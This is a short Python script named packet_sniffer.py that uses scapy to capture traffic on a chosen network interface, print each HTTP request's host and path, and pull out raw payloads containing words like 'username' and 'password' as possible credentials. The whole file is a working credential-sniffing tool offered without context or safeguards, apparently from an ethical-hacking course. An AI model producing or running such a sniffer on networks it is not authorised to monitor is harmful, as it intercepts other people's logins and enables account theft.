packet_sniffer.py

#!/usr/bin/env python

import scapy.all as scapy
from scapy.layers import http
import argparse

def arguments():
    parser = argparse.ArgumentParser(description="Packet Sniffer")
    parser.add_argument("-i", "--interface", metavar="", required=True, help="Interface")
    args = parser.parse_args()
    return args


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["username", "user", "login", "uname", "password", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load

def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)
        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password >> " + login_info + "\n\n")

args = arguments()
sniff(args.interface)